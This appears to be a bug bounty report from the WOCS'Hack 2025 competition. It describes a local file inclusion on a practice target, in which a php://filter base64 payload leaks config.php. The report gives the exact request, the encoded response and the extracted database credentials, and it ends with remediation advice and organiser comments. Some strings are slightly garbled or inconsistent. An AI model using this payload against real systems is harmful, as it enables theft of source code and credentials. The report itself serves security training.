

Source Code Disclosure via LFI (Login File Inclusion) and php://filter

WOCS'Hack 2025

Submitted by **DirtyBst3rd** on **2025-04-26**

REPORT DETAILS

7.5 **HIGH**

CVSS

Bug type	Password in Configuration File (CWE-260)
CVE ID	
Impact	
Scope	*.3xploit.me
Endpoint	https://96ee4fe5f43a.3xploit.me/index.php?page= =php://filter/convert.base64-encode/resource=co nfig.php
Severity	High
CVSS vector string	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerable part	path
Part name	based on the page GET parameter
Payload	?page=php://filter/convert.base64-encode/resourc e=config.php
Technical env.	Ubuntu, Firefox
App. fingerprint	

BUG DESCRIPTION

DESCRIPTION

The webserver exposes sensitive backend source code, allowing an attacker to retrieve the database credentials. This results in a full compromise of the database, allowing unauthorized access to user accounts, internal application data, and more.

EXPLOITATION

Attacker sends a request to the application with specific path manipulation to retrieve PHP source code. Attacker decodes base64-encoded files to retrieve config.php.

From the decoded content, the attacker extracts the following database credentials:

Host: db

Database: my_association_db

Username: eP3PWzj

Password: vgTWMoj2

The attacker can now connect to the database and fully compromise the application.

POC

GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/2
Host: 96ee4fe5f43a.3xploit.me

The server respond with this

PD9waHAKJGhvc3QgPSAnZGlnOwokZGlgICA9ICdteV9hc3NvY2lhdGlvbi9kYic7CiR1c2VylD0gJ2VQM1BXekpqJzsKJHBh
c3MgPSAndmdUV01vSjlOwokY2hhcnNldCA9ICd1dGY4bWI0JzskCiRkc24gPSAibXlzcWw6aG9zdD0kaG9zdDtkYm5hb
WU9jGRiO2NoYXJzZXQ9JGN0YXJzZXQiOwokb3B0aW9ucyA9IFsKICAgIFBETzo6QVRUUI9FUlJNT0RFICAgICAgICAg
PT4gUERPOjpFUlJNT0RFx0VYQ0VQVEIPTiWkICAgIFBETzo6QVRUUI9ERUZBVUxUX0ZFVENIX01PREUgPT4gUERPOjpG
RVRDSF9BU1NPQywKICAgIFBETzo6QVRUUI9FTVVMQVRFX1BSRVBBUkVTICAgPT4gZmFsc2UsCl07Cgp0cnkgewogIC
AgJHBkbyA9IG5ldyBQRE8oJGRzbiwgJHVzZXIsICRwYXNzLCAkb3B0aW9ucyk7Cn0gY2F0Y2ggKFxQRE9FeGNicHRpb24
gGUpIHsKICAgIHRocm93IG5ldyBcUERPRXhjZXB0aW9uKCRILT5nZXRNZXNzYWdlKCksIChpbmQpJGUtPmdldENvZGU
oKS7Cn0KPz4K

```
After decoding the string you will have this
<?php
$host = 'db';
$db = 'my_association_db';
$user = 'eP3PWzjj';
$pass = 'vgTWMoj2';
$charset = 'utf8mb4';
...
?>
```



RISK

Confidentiality Impact: High: Exposure of internal application logic, database credentials, and sensitive configurations.
System Compromise Potential: Attackers can reuse credentials to gain unauthorized access to databases or other services.



REMEDIATION

Ensure PHP source code is not accessible publicly.
Remove backup files, misconfigured .php files, or other dev artifacts from production servers.
Restrict database access by IP address and/or network.



COMMENTS

 **DirtyBst3rd** on 2025-04-26 18:20:25  Everyone


 **New**

 **WOCSA** on 2025-04-26 18:46:13  Everyone

 **New** → **Under Review**

 **WOCSA** on 2025-04-26 18:46:21  Everyone

 **Under Review** → **Accepted**

 Thanks for report

We accepted the current LFI described but as you mentionned it's not a "Source Code Disclosure" vulnerability type or "Password In Configuration" vuln here.



WOCSA on 2025-04-26 18:46:41  Everyone



4 pts

awarded for report quality.